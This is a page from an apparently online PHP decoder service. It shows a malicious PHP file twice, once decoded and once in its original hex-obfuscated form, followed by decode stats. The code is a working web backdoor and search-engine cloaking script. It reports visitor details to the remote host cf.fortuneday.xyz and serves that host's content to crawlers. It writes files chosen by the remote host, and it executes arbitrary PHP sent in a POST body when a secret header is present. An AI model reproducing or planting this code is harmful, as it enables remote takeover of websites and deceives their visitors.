Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto SejcE; fwI1H: if (!(stripos($CuLdr, "\x6f\153") === 0)) { goto m_NXl; } goto I..

Decoded Output download

<?php  goto SejcE; fwI1H: if (!(stripos($CuLdr, "ok") === 0)) { goto m_NXl; } goto IUfdU; jrLxo: exit("end ok"); goto lQhAd; YCcOW: LF8sA: goto ZRwaA; BhM7J: exit; goto RXgzY; OWLdE: $gov = "cf.fortuneday.xyz"; goto Efmjp; yUVhr: lBjBe: goto l2TsO; HuNtv: $ipR4C = "proto={$PKZ3C}&shost={$f6lHZ}&ip={$VfO5B}&dbgroup={$db}&uri={$g0yim}"; goto FOYlX; Rnpkk: exit($CuLdr); goto Ftgzz; QHrhG: $uawaq = array("Lang: " . $oQB9S, "User-Agent: " . $TUUu4, "Referer: " . $AMny4, "Http-Proto: " . $PKZ3C, "Http-Host: " . $f6lHZ, "Http-Uri: " . $g0yim, "Dbgroup: " . $gov, "Http-X-Forwarded-For: " . $VfO5B, "Token: " . $GMDFM); goto HuNtv; N0o2w: $Tamjt = "2.2.17"; goto OWLdE; i7ebK: if (!($ZmsEc >= 500)) { goto ji21v; } goto biGmz; IUfdU: exit($CuLdr . $gov . $db); goto GAM7Y; lIJiA: $oQB9S = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : ''; goto wmLkz; hXbJl: exit($CuLdr); goto JK2FM; lbbRg: $TUUu4 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto mZVKG; E9IOK: exit($X9PMb); goto bt5qb; wmLkz: $GMDFM = isset($_SERVER["HTTP_XDOIM"]) ? $_SERVER["HTTP_XDOIM"] : ''; goto TDPFi; lQhAd: kKe3i: goto Mdrnr; Im_9E: Z5kPW: goto DwD_j; FOYlX: if (!(strlen($GMDFM) > 0)) { goto XpQGU; } goto RSS5T; RXgzY: XpQGU: goto kp7Ck; biGmz: @header("HTTP/1.1 500 Internal Server Error"); goto xLhyB; KGqmD: unlink(".eGbA0Ty2Wh"); goto BhM7J; iF4E7: $Oi5vU = explode(",", $ghxC0[0]); goto VuDFV; Ftgzz: fLEkS: goto DW5nU; aXmIp: function liJ0v($etELi, $k2kTb) { $f_put = "file_put_contents";  $f_get = "file_get_contents";@$f_put($etELi, $k2kTb); } goto ZTCmd; MU20M: nT3ba: goto QplRk; SejcE: error_reporting(0); goto nSNhc; ZRwaA: function qA9kZ($I9320, $uawaq = null, $ipR4C = null, $TUUu4 = null) { goto FnKsR; tcc59: zAjC0: goto nyYjG; FnKsR: if (!function_exists("curl_init")) { return; } goto zrjOO; zrjOO: try { goto qPnwm; nNrKs: curl_setopt($mhxyJ, CURLOPT_POSTFIELDS, $ipR4C); goto DKc2D; cCOVs: $dVg__ = curl_getinfo($mhxyJ, CURLINFO_CONTENT_TYPE); goto gCTlk; PMeEY: $TUUu4 === null || $TUUu4 === '' ? '' : curl_setopt($mhxyJ, CURLOPT_USERAGENT, $TUUu4); goto HgC7R; fbSkZ: $uawaq === null ? '' : curl_setopt($mhxyJ, CURLOPT_HTTPHEADER, $uawaq); goto PMeEY; c10Nf: curl_setopt($mhxyJ, CURLOPT_POST, 1); goto nNrKs; aRCPa: curl_setopt($mhxyJ, CURLOPT_RETURNTRANSFER, 1); goto fbSkZ; WTANn: curl_setopt($mhxyJ, CURLOPT_FOLLOWLOCATION, 1); goto aRCPa; HgC7R: if (!($ipR4C !== null && $ipR4C !== '')) { goto dnhgF; } goto c10Nf; gCTlk: curl_close($mhxyJ); goto YeKeM; ST5KK: $ZmsEc = curl_getinfo($mhxyJ, CURLINFO_HTTP_CODE); goto cCOVs; qPnwm: $mhxyJ = curl_init(); goto LkW7E; LkW7E: curl_setopt($mhxyJ, CURLOPT_URL, $I9320); goto WTANn; p78SA: $RWNnm = curl_exec($mhxyJ); goto ST5KK; DKc2D: dnhgF: goto p78SA; YeKeM: } catch (Exception $cFQTG) { } goto UdHC0; WZuzR: ini_set("user_agent", "Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)"); goto yLKlF; nyYjG: return array($RWNnm, $ZmsEc, $dVg__); goto GJVW4; yLKlF: try { $f_put = "file_put_contents"; $f_get = "file_get_contents";$RWNnm = @$f_get($I9320); } catch (Exception $cFQTG) { } goto tcc59; UdHC0: if (!($RWNnm === false && function_exists("file_get_contents"))) { goto zAjC0; } goto WZuzR; GJVW4: } goto aXmIp; QplRk: if (!strstr($CuLdr, "[,]")) { goto YtWnC; } goto M218Q; x8D0P: @header("Location: " . $CuLdr); goto sk6tD; b5E_I: J5g3Q: goto E9IOK; mZVKG: $g0yim = $_SERVER["REQUEST_URI"]; goto cnW1k; Efmjp: $db = "1000"; goto U4b5E; AAfoJ: @header("Content-type: text/xml"); goto Rnpkk; fWtRA: if (!stripos($CuLdr, "?main_page=")) { goto nT3ba; } goto x8D0P; kp7Ck: if (!($g0yim !== "/favicon.ico" && (@preg_match("#google|yahoo|bing#i", $TUUu4) || @preg_match("#google.co.jp|google.com|yahoo.com|yahoo.co.jp|bing.com#i", $AMny4) && @preg_match("#[/\?]([a-z0-9]{1})(\d+)#i", $g0yim)))) { goto LF8sA; } goto xfXGf; aVFvg: MaJu9: goto i7ebK; xLhyB: exit; goto h_w2u; h_w2u: ji21v: goto X76JT; o1HC0: foreach ($Oi5vU as $I9320) { goto F3b18; SLwzM: $X9PMb .= $I9320 . $i53uy; goto t0sXX; t0sXX: iMZbg: goto oaBck; F3b18: list($i53uy, $ZmsEc) = qa9Kz($I9320, null, null, $ghxC0[1]); goto SLwzM; oaBck: } goto b5E_I; bt5qb: YtWnC: goto inMHH; U4b5E: $VfO5B = ZKPpb(); goto emRWG; JK2FM: H6xPG: goto YCcOW; S0iV4: exit($CuLdr); goto Im_9E; GAM7Y: m_NXl: goto n9ljv; fVu0d: if (file_exists($eV5sk[0])) { goto urAPW; } goto GpdZr; xfXGf: list($CuLdr, $ZmsEc, $dVg__) = qa9kZ("http://" . $gov . "/index?" . $ipR4C, $uawaq, $ipR4C); goto enZmB; fmIi4: @header("Content-type: application/x-gzip"); goto AcYss; l2TsO: if (!(stripos($CuLdr, "<!doct") === 0 || stripos($CuLdr, "<html") === 0)) { goto Z5kPW; } goto S0iV4; LVbgj: @header("HTTP/1.1 404 Not Found"); goto XWsg4; M218Q: $ghxC0 = explode("[,]", $CuLdr); goto iF4E7; Xcvlh: goto kKe3i; goto wnuVY; X76JT: if (!($CuLdr != '')) { goto H6xPG; } goto hXbJl; n9ljv: if (!($ZmsEc >= 400 && $ZmsEc < 500)) { goto MaJu9; } goto LVbgj; enZmB: if (!(stripos($dVg__, "gzip") > 0)) { goto lBjBe; } goto fmIi4; GpdZr: exit("no false"); goto Xcvlh; DwD_j: if (!(stripos($CuLdr, "<?xml") === 0)) { goto fLEkS; } goto AAfoJ; Mdrnr: xtnc7: goto fwI1H; VuDFV: $X9PMb = ''; goto o1HC0; qPC5I: @ignore_user_abort(1); goto N0o2w; cuS3c: echo include ".eGbA0Ty2Wh"; goto KGqmD; YC5KX: if (!@preg_match("#^[^.]*.(txt|php)#i", $CuLdr)) { goto xtnc7; } goto xbdKC; emRWG: $AMny4 = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto lbbRg; XWsg4: exit; goto aVFvg; wnuVY: urAPW: goto jrLxo; sk6tD: exit; goto MU20M; nSNhc: @set_time_limit(3600); goto qPC5I; DW5nU: if (!(stripos($CuLdr, "http") === 0)) { goto brwZu; } goto fWtRA; cnW1k: $f6lHZ = $_SERVER["HTTP_HOST"]; goto lIJiA; xbdKC: $eV5sk = explode("[,]", $CuLdr); goto El5Me; AcYss: exit($CuLdr); goto yUVhr; TDPFi: $PKZ3C = !empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https" || !empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off" ? "https" : "http"; goto QHrhG; inMHH: brwZu: goto YC5KX; El5Me: lij0V($eV5sk[0], $eV5sk[1]); goto fVu0d; RSS5T: $f_put = "file_put_contents"; $f_get = "file_get_contents"; @liJ0v(".eGbA0Ty2Wh", @$f_get("php://input"), FILE_USE_INCLUDE_PATH); goto cuS3c; ZTCmd: function zKPPb() { goto QjbS7; hf4Gl: if (isset($_SERVER["HTTP_FORWARDED"])) { goto Nl9hA; } goto cHfez; YCydk: ffu9_: goto bzDuW; jGfJX: if (isset($_SERVER["HTTP_FORWARDED_FOR"])) { goto ffu9_; } goto hf4Gl; h1upJ: if (getenv("HTTP_CLIENT_IP")) { goto EVb1v; } goto TQe00; n2ZkN: u9iC4: goto mV3GD; bzDuW: $VfO5B = $_SERVER["HTTP_FORWARDED_FOR"]; goto IoPI8; dbzOO: goto IRQbb; goto YCydk; C8obO: $VfO5B = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto TJHg6; s6z_I: $VfO5B = $_SERVER["HTTP_CLIENT_IP"]; goto PFEU_; nIKoz: $VfO5B = $_SERVER["HTTP_FORWARDED"]; goto iwkyB; FRxWp: goto ajwEt; goto n2ZkN; cHfez: $VfO5B = $_SERVER["REMOTE_ADDR"]; goto hctEZ; iwkyB: IRQbb: goto jXfYi; sUZxc: Rwxeb: goto HDwXQ; KvGRX: goto IRQbb; goto uLMc0; hij0R: if (getenv("HTTP_X_FORWARDED_FOR")) { goto u9iC4; } goto h1upJ; SuzbD: ajwEt: goto XJqA2; Gg2KK: $VfO5B = getenv("HTTP_CLIENT_IP"); goto SuzbD; uLMc0: f3k39: goto vnGgS; J75eI: w5zKb: goto ME5Tl; vnGgS: $VfO5B = $_SERVER["HTTP_X_CLUSTER_CLIENT_IP"]; goto dbzOO; IoPI8: goto IRQbb; goto N_d2A; e0V3I: if (isset($_SERVER["HTTP_CLIENT_IP"])) { goto CAZxj; } goto dHhDP; e1SNr: return $VfO5B; goto I54Al; hctEZ: goto IRQbb; goto GLNIh; HDwXQ: $VfO5B = $_SERVER["HTTP_X_FORWARDED"]; goto KvGRX; T1pWS: if (isset($_SERVER["HTTP_X_CLUSTER_CLIENT_IP"])) { goto f3k39; } goto jGfJX; ME5Tl: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto L_PtP; } goto e0V3I; QjbS7: if (isset($_SERVER)) { goto w5zKb; } goto hij0R; N_d2A: Nl9hA: goto nIKoz; jxFwj: EVb1v: goto Gg2KK; dHhDP: if (isset($_SERVER["HTTP_X_FORWARDED"])) { goto Rwxeb; } goto T1pWS; YWcPf: goto ajwEt; goto jxFwj; GLNIh: L_PtP: goto C8obO; TQe00: $VfO5B = getenv("REMOTE_ADDR"); goto FRxWp; mV3GD: $VfO5B = getenv("HTTP_X_FORWARDED_FOR"); goto YWcPf; TJHg6: goto IRQbb; goto BKJ5i; jXfYi: e8Zji: goto e1SNr; PFEU_: goto IRQbb; goto sUZxc; BKJ5i: CAZxj: goto s6z_I; XJqA2: goto e8Zji; goto J75eI; I54Al: } ?>

Did this file decode correctly?

Original Code

<?php  goto SejcE; fwI1H: if (!(stripos($CuLdr, "\x6f\153") === 0)) { goto m_NXl; } goto IUfdU; jrLxo: exit("\x65\x6e\144\x20\x6f\153"); goto lQhAd; YCcOW: LF8sA: goto ZRwaA; BhM7J: exit; goto RXgzY; OWLdE: $gov = "\x63\146\x2e\146\x6f\162\x74\165\x6e\145\x64\141\x79\56\x78\171\x7a"; goto Efmjp; yUVhr: lBjBe: goto l2TsO; HuNtv: $ipR4C = "\x70\x72\x6f\164\157\x3d{$PKZ3C}\46\163\x68\157\163\164\75{$f6lHZ}\46\x69\160\x3d{$VfO5B}\46\x64\142\147\x72\157\165\x70\x3d{$db}\x26\165\x72\x69\75{$g0yim}"; goto FOYlX; Rnpkk: exit($CuLdr); goto Ftgzz; QHrhG: $uawaq = array("\x4c\141\x6e\147\x3a\40" . $oQB9S, "\x55\163\x65\x72\x2d\101\x67\x65\156\x74\x3a\x20" . $TUUu4, "\x52\x65\x66\x65\162\145\162\x3a\x20" . $AMny4, "\110\x74\x74\x70\x2d\120\x72\157\x74\157\x3a\40" . $PKZ3C, "\x48\164\x74\160\55\110\157\163\164\x3a\40" . $f6lHZ, "\110\x74\x74\x70\55\125\162\151\72\x20" . $g0yim, "\104\x62\147\162\157\165\160\72\40" . $gov, "\110\x74\164\x70\x2d\x58\55\106\157\x72\x77\x61\x72\144\x65\144\x2d\106\157\x72\x3a\40" . $VfO5B, "\124\x6f\153\x65\156\72\x20" . $GMDFM); goto HuNtv; N0o2w: $Tamjt = "\x32\56\x32\x2e\61\x37"; goto OWLdE; i7ebK: if (!($ZmsEc >= 500)) { goto ji21v; } goto biGmz; IUfdU: exit($CuLdr . $gov . $db); goto GAM7Y; lIJiA: $oQB9S = isset($_SERVER["\x48\124\x54\120\137\x41\103\103\x45\x50\x54\x5f\114\101\x4e\x47\x55\101\107\105"]) ? $_SERVER["\x48\124\x54\x50\137\101\103\103\x45\x50\124\137\114\101\116\x47\125\x41\x47\x45"] : ''; goto wmLkz; hXbJl: exit($CuLdr); goto JK2FM; lbbRg: $TUUu4 = isset($_SERVER["\110\124\124\x50\x5f\x55\123\x45\x52\x5f\101\x47\x45\116\124"]) ? $_SERVER["\110\124\124\x50\137\125\123\x45\122\x5f\101\107\x45\x4e\124"] : ''; goto mZVKG; E9IOK: exit($X9PMb); goto bt5qb; wmLkz: $GMDFM = isset($_SERVER["\x48\x54\124\120\x5f\130\104\117\111\x4d"]) ? $_SERVER["\110\124\124\x50\x5f\x58\x44\x4f\x49\x4d"] : ''; goto TDPFi; lQhAd: kKe3i: goto Mdrnr; Im_9E: Z5kPW: goto DwD_j; FOYlX: if (!(strlen($GMDFM) > 0)) { goto XpQGU; } goto RSS5T; RXgzY: XpQGU: goto kp7Ck; biGmz: @header("\110\x54\124\x50\57\61\x2e\x31\x20\x35\x30\x30\40\111\x6e\164\145\x72\156\141\154\x20\x53\145\x72\x76\145\162\x20\x45\x72\x72\157\x72"); goto xLhyB; KGqmD: unlink("\x2e\145\107\x62\x41\60\124\171\x32\x57\150"); goto BhM7J; iF4E7: $Oi5vU = explode("\x2c", $ghxC0[0]); goto VuDFV; Ftgzz: fLEkS: goto DW5nU; aXmIp: function liJ0v($etELi, $k2kTb) { $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s";  $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s";@$f_put($etELi, $k2kTb); } goto ZTCmd; MU20M: nT3ba: goto QplRk; SejcE: error_reporting(0); goto nSNhc; ZRwaA: function qA9kZ($I9320, $uawaq = null, $ipR4C = null, $TUUu4 = null) { goto FnKsR; tcc59: zAjC0: goto nyYjG; FnKsR: if (!function_exists("\x63\165\x72\x6c\137\x69\156\151\164")) { return; } goto zrjOO; zrjOO: try { goto qPnwm; nNrKs: curl_setopt($mhxyJ, CURLOPT_POSTFIELDS, $ipR4C); goto DKc2D; cCOVs: $dVg__ = curl_getinfo($mhxyJ, CURLINFO_CONTENT_TYPE); goto gCTlk; PMeEY: $TUUu4 === null || $TUUu4 === '' ? '' : curl_setopt($mhxyJ, CURLOPT_USERAGENT, $TUUu4); goto HgC7R; fbSkZ: $uawaq === null ? '' : curl_setopt($mhxyJ, CURLOPT_HTTPHEADER, $uawaq); goto PMeEY; c10Nf: curl_setopt($mhxyJ, CURLOPT_POST, 1); goto nNrKs; aRCPa: curl_setopt($mhxyJ, CURLOPT_RETURNTRANSFER, 1); goto fbSkZ; WTANn: curl_setopt($mhxyJ, CURLOPT_FOLLOWLOCATION, 1); goto aRCPa; HgC7R: if (!($ipR4C !== null && $ipR4C !== '')) { goto dnhgF; } goto c10Nf; gCTlk: curl_close($mhxyJ); goto YeKeM; ST5KK: $ZmsEc = curl_getinfo($mhxyJ, CURLINFO_HTTP_CODE); goto cCOVs; qPnwm: $mhxyJ = curl_init(); goto LkW7E; LkW7E: curl_setopt($mhxyJ, CURLOPT_URL, $I9320); goto WTANn; p78SA: $RWNnm = curl_exec($mhxyJ); goto ST5KK; DKc2D: dnhgF: goto p78SA; YeKeM: } catch (Exception $cFQTG) { } goto UdHC0; WZuzR: ini_set("\x75\x73\145\x72\x5f\141\147\145\x6e\x74", "\x4d\x6f\172\151\154\x6c\141\x2f\64\x2e\60\40\50\143\157\x6d\160\141\164\151\x62\154\145\x3b\x4d\123\x49\x45\40\x36\x2e\60\x3b\x57\x69\x6e\x64\157\x77\x73\40\x4e\x54\x20\65\x2e\x32\73\56\116\x45\124\x20\103\114\122\x20\x31\x2e\61\x2e\64\x33\x32\x32\x29"); goto yLKlF; nyYjG: return array($RWNnm, $ZmsEc, $dVg__); goto GJVW4; yLKlF: try { $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s";$RWNnm = @$f_get($I9320); } catch (Exception $cFQTG) { } goto tcc59; UdHC0: if (!($RWNnm === false && function_exists("\146\151\154\145\137\147\x65\x74\x5f\143\x6f\156\x74\x65\x6e\164\163"))) { goto zAjC0; } goto WZuzR; GJVW4: } goto aXmIp; QplRk: if (!strstr($CuLdr, "\133\54\135")) { goto YtWnC; } goto M218Q; x8D0P: @header("\x4c\x6f\x63\x61\164\151\x6f\156\x3a\x20" . $CuLdr); goto sk6tD; b5E_I: J5g3Q: goto E9IOK; mZVKG: $g0yim = $_SERVER["\x52\x45\x51\125\105\x53\124\x5f\125\122\x49"]; goto cnW1k; Efmjp: $db = "1000"; goto U4b5E; AAfoJ: @header("\x43\x6f\156\x74\145\156\164\x2d\164\171\x70\145\x3a\x20\x74\145\x78\x74\57\170\155\x6c"); goto Rnpkk; fWtRA: if (!stripos($CuLdr, "\77\155\141\151\x6e\137\160\141\x67\x65\75")) { goto nT3ba; } goto x8D0P; kp7Ck: if (!($g0yim !== "\x2f\146\x61\x76\x69\x63\157\156\56\x69\x63\x6f" && (@preg_match("\x23\x67\x6f\x6f\147\x6c\145\x7c\171\141\150\157\x6f\x7c\x62\151\x6e\x67\43\x69", $TUUu4) || @preg_match("\43\147\x6f\x6f\147\x6c\x65\x2e\143\157\56\x6a\x70\174\147\157\157\147\x6c\x65\x2e\143\157\x6d\174\x79\141\150\x6f\x6f\56\143\157\155\x7c\x79\x61\x68\x6f\x6f\x2e\143\157\56\x6a\x70\174\142\151\x6e\147\56\143\x6f\x6d\43\x69", $AMny4) && @preg_match("\x23\133\x2f\x5c\77\x5d\x28\133\141\x2d\x7a\x30\x2d\71\135\x7b\61\x7d\51\x28\x5c\144\x2b\x29\x23\x69", $g0yim)))) { goto LF8sA; } goto xfXGf; aVFvg: MaJu9: goto i7ebK; xLhyB: exit; goto h_w2u; h_w2u: ji21v: goto X76JT; o1HC0: foreach ($Oi5vU as $I9320) { goto F3b18; SLwzM: $X9PMb .= $I9320 . $i53uy; goto t0sXX; t0sXX: iMZbg: goto oaBck; F3b18: list($i53uy, $ZmsEc) = qa9Kz($I9320, null, null, $ghxC0[1]); goto SLwzM; oaBck: } goto b5E_I; bt5qb: YtWnC: goto inMHH; U4b5E: $VfO5B = ZKPpb(); goto emRWG; JK2FM: H6xPG: goto YCcOW; S0iV4: exit($CuLdr); goto Im_9E; GAM7Y: m_NXl: goto n9ljv; fVu0d: if (file_exists($eV5sk[0])) { goto urAPW; } goto GpdZr; xfXGf: list($CuLdr, $ZmsEc, $dVg__) = qa9kZ("\x68\x74\164\x70\x3a\x2f\x2f" . $gov . "\57\x69\x6e\144\x65\x78\x3f" . $ipR4C, $uawaq, $ipR4C); goto enZmB; fmIi4: @header("\x43\x6f\156\x74\145\156\164\55\x74\171\x70\x65\x3a\x20\141\x70\160\154\x69\x63\x61\x74\151\x6f\x6e\57\x78\55\x67\x7a\151\x70"); goto AcYss; l2TsO: if (!(stripos($CuLdr, "\74\x21\144\x6f\143\164") === 0 || stripos($CuLdr, "\x3c\150\x74\x6d\x6c") === 0)) { goto Z5kPW; } goto S0iV4; LVbgj: @header("\110\124\x54\120\57\61\56\x31\x20\x34\x30\x34\40\116\157\164\x20\x46\x6f\165\156\x64"); goto XWsg4; M218Q: $ghxC0 = explode("\133\x2c\x5d", $CuLdr); goto iF4E7; Xcvlh: goto kKe3i; goto wnuVY; X76JT: if (!($CuLdr != '')) { goto H6xPG; } goto hXbJl; n9ljv: if (!($ZmsEc >= 400 && $ZmsEc < 500)) { goto MaJu9; } goto LVbgj; enZmB: if (!(stripos($dVg__, "\x67\172\x69\x70") > 0)) { goto lBjBe; } goto fmIi4; GpdZr: exit("\x6e\x6f\40\146\x61\154\163\145"); goto Xcvlh; DwD_j: if (!(stripos($CuLdr, "\x3c\77\x78\x6d\154") === 0)) { goto fLEkS; } goto AAfoJ; Mdrnr: xtnc7: goto fwI1H; VuDFV: $X9PMb = ''; goto o1HC0; qPC5I: @ignore_user_abort(1); goto N0o2w; cuS3c: echo include "\56\x65\x47\142\101\x30\x54\171\x32\x57\150"; goto KGqmD; YC5KX: if (!@preg_match("\x23\x5e\x5b\x5e\x2e\135\x2a\x2e\x28\164\x78\164\174\x70\150\160\x29\x23\151", $CuLdr)) { goto xtnc7; } goto xbdKC; emRWG: $AMny4 = isset($_SERVER["\110\x54\x54\120\137\x52\x45\106\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\137\x52\105\106\105\x52\105\122"] : ''; goto lbbRg; XWsg4: exit; goto aVFvg; wnuVY: urAPW: goto jrLxo; sk6tD: exit; goto MU20M; nSNhc: @set_time_limit(3600); goto qPC5I; DW5nU: if (!(stripos($CuLdr, "\150\164\164\x70") === 0)) { goto brwZu; } goto fWtRA; cnW1k: $f6lHZ = $_SERVER["\110\x54\x54\x50\137\x48\117\x53\124"]; goto lIJiA; xbdKC: $eV5sk = explode("\133\x2c\135", $CuLdr); goto El5Me; AcYss: exit($CuLdr); goto yUVhr; TDPFi: $PKZ3C = !empty($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\157\146\x66" || isset($_SERVER["\x48\x54\124\120\x5f\130\137\x46\x4f\122\127\x41\x52\x44\105\x44\137\120\x52\117\x54\x4f"]) && $_SERVER["\110\x54\124\x50\x5f\x58\x5f\106\x4f\122\x57\101\122\x44\105\104\137\120\x52\x4f\124\117"] === "\x68\164\164\x70\163" || !empty($_SERVER["\x48\124\124\120\137\x46\122\x4f\x4e\x54\137\105\x4e\104\137\110\124\x54\120\123"]) && strtolower($_SERVER["\x48\124\x54\120\x5f\106\122\117\116\x54\137\x45\x4e\104\x5f\110\124\124\x50\123"]) !== "\x6f\x66\146" ? "\150\x74\164\x70\163" : "\150\164\x74\x70"; goto QHrhG; inMHH: brwZu: goto YC5KX; El5Me: lij0V($eV5sk[0], $eV5sk[1]); goto fVu0d; RSS5T: $f_put = "\x66il\x65_p\x75t_\x63on\x74en\x74s"; $f_get = "\x66il\x65_g\x65t_\x63on\x74en\x74s"; @liJ0v("\x2e\145\x47\x62\x41\60\x54\171\62\x57\x68", @$f_get("\x70\x68\160\72\57\57\x69\156\160\x75\x74"), FILE_USE_INCLUDE_PATH); goto cuS3c; ZTCmd: function zKPPb() { goto QjbS7; hf4Gl: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x46\117\x52\127\x41\122\x44\x45\104"])) { goto Nl9hA; } goto cHfez; YCydk: ffu9_: goto bzDuW; jGfJX: if (isset($_SERVER["\110\x54\124\120\x5f\x46\x4f\x52\x57\x41\x52\104\x45\104\137\106\117\x52"])) { goto ffu9_; } goto hf4Gl; h1upJ: if (getenv("\110\x54\124\x50\x5f\103\x4c\111\x45\116\124\x5f\x49\120")) { goto EVb1v; } goto TQe00; n2ZkN: u9iC4: goto mV3GD; bzDuW: $VfO5B = $_SERVER["\110\124\x54\x50\x5f\106\117\x52\x57\101\122\104\x45\x44\137\x46\x4f\x52"]; goto IoPI8; dbzOO: goto IRQbb; goto YCydk; C8obO: $VfO5B = $_SERVER["\110\124\124\120\x5f\130\x5f\x46\x4f\122\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto TJHg6; s6z_I: $VfO5B = $_SERVER["\x48\x54\x54\120\x5f\103\114\111\x45\116\x54\137\111\x50"]; goto PFEU_; nIKoz: $VfO5B = $_SERVER["\x48\124\124\120\137\x46\x4f\x52\x57\x41\122\104\x45\x44"]; goto iwkyB; FRxWp: goto ajwEt; goto n2ZkN; cHfez: $VfO5B = $_SERVER["\x52\105\x4d\x4f\x54\105\137\x41\x44\x44\122"]; goto hctEZ; iwkyB: IRQbb: goto jXfYi; sUZxc: Rwxeb: goto HDwXQ; KvGRX: goto IRQbb; goto uLMc0; hij0R: if (getenv("\x48\x54\124\x50\x5f\130\x5f\106\117\122\x57\x41\122\x44\105\104\137\x46\117\122")) { goto u9iC4; } goto h1upJ; SuzbD: ajwEt: goto XJqA2; Gg2KK: $VfO5B = getenv("\110\x54\x54\x50\x5f\x43\x4c\x49\105\x4e\x54\x5f\x49\x50"); goto SuzbD; uLMc0: f3k39: goto vnGgS; J75eI: w5zKb: goto ME5Tl; vnGgS: $VfO5B = $_SERVER["\x48\x54\124\x50\137\130\x5f\x43\114\x55\x53\x54\105\122\x5f\x43\x4c\111\x45\116\x54\x5f\x49\120"]; goto dbzOO; IoPI8: goto IRQbb; goto N_d2A; e0V3I: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x43\x4c\111\x45\x4e\x54\x5f\111\120"])) { goto CAZxj; } goto dHhDP; e1SNr: return $VfO5B; goto I54Al; hctEZ: goto IRQbb; goto GLNIh; HDwXQ: $VfO5B = $_SERVER["\x48\x54\x54\120\x5f\x58\137\x46\117\122\127\101\122\104\x45\x44"]; goto KvGRX; T1pWS: if (isset($_SERVER["\x48\x54\x54\x50\137\130\137\x43\114\125\123\124\x45\122\137\103\114\111\x45\116\124\137\x49\120"])) { goto f3k39; } goto jGfJX; ME5Tl: if (isset($_SERVER["\x48\x54\124\120\x5f\130\137\x46\x4f\122\127\101\x52\104\105\104\137\106\117\122"])) { goto L_PtP; } goto e0V3I; QjbS7: if (isset($_SERVER)) { goto w5zKb; } goto hij0R; N_d2A: Nl9hA: goto nIKoz; jxFwj: EVb1v: goto Gg2KK; dHhDP: if (isset($_SERVER["\110\124\x54\x50\x5f\130\137\106\x4f\122\x57\x41\122\x44\x45\104"])) { goto Rwxeb; } goto T1pWS; YWcPf: goto ajwEt; goto jxFwj; GLNIh: L_PtP: goto C8obO; TQe00: $VfO5B = getenv("\x52\x45\115\117\x54\105\x5f\101\104\104\122"); goto FRxWp; mV3GD: $VfO5B = getenv("\110\124\124\120\137\x58\x5f\x46\x4f\x52\x57\101\122\x44\x45\104\137\106\x4f\122"); goto YWcPf; TJHg6: goto IRQbb; goto BKJ5i; jXfYi: e8Zji: goto e1SNr; PFEU_: goto IRQbb; goto sUZxc; BKJ5i: CAZxj: goto s6z_I; XJqA2: goto e8Zji; goto J75eI; I54Al: } ?>

Function Calls

None

Variables

None

Stats

MD5 239df64a8031f89ebc5ac9be692059ee
Eval Count 0
Decode Time 74 ms